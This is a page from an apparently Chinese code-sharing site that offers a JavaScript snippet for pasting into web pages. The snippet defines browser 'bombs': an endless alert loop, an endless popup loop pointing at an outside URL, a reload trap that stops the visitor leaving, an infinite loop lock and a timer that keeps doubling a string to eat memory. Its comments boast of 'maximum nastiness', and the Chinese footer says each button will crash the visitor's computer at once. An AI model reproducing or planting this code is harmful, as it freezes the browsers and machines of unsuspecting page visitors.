首页 | 代码中心 | 源码下载 | 用户管理 | 用户留言 | 导航 | 繁體
代码秀,专业程序代码提供商(源码下载,编程技术)
脚本说明: 把如下代码加入区域中 <Script LANGUAGE="JavaScript"> <-- Begin function AnnoyingButton() { while (true) window.alert("HAHAHA...you can't do anything anymore in Netscape without exiting and restarting....HAHAHA so gimme da UT now...or else!") } // Keep opening windows over and over again function WindowBomb() { var iCounter = 0 // dummy counter while (true) { window.open("http://www.NETural.com/~ccamel","CRASHING" + iCounter,"width=1,height=1,resizable=no") iCounter++ } } // Not as interesting as the other bombs, but this one forces the user to // stay at the current page. User cannot switch to another page, or click // stop to stop the reloading. function ReloadBomb() { history.go(0) // reload this page window.setTimeout('ReloadBomb()',1) // tell netscape to hit this function // every milisecond =) } // Not a very interesting bomb, it does nothing really :> function WhileLoopLock() { while (true){} } var szEatMemory = "GOBBLEGOBBLE" // our string to consume our memory // Now this function EatMemoryInTime is a interesting one that could be // placed on a timer for maximum nastiness :> I have been able to get // up to 4Megs consumed by Netscape forcing my machine to crawl =) // AND it's time driven! No while loops here! function EatMemoryInTime() { szEatMemory = szEatMemory + szEatMemory // keep appending window.status = "String Length is: " + szEatMemory.length // report size window.setTimeout('EatMemoryInTime()',1); // tell netscape to hit this function } // End --> </Script> 下面的每一个按钮都很危险,一按你的电脑立即OVER,不信试试吧!!! 特别说明:如网页特效代码中有引用图片文件等,请自己下载到本地调试!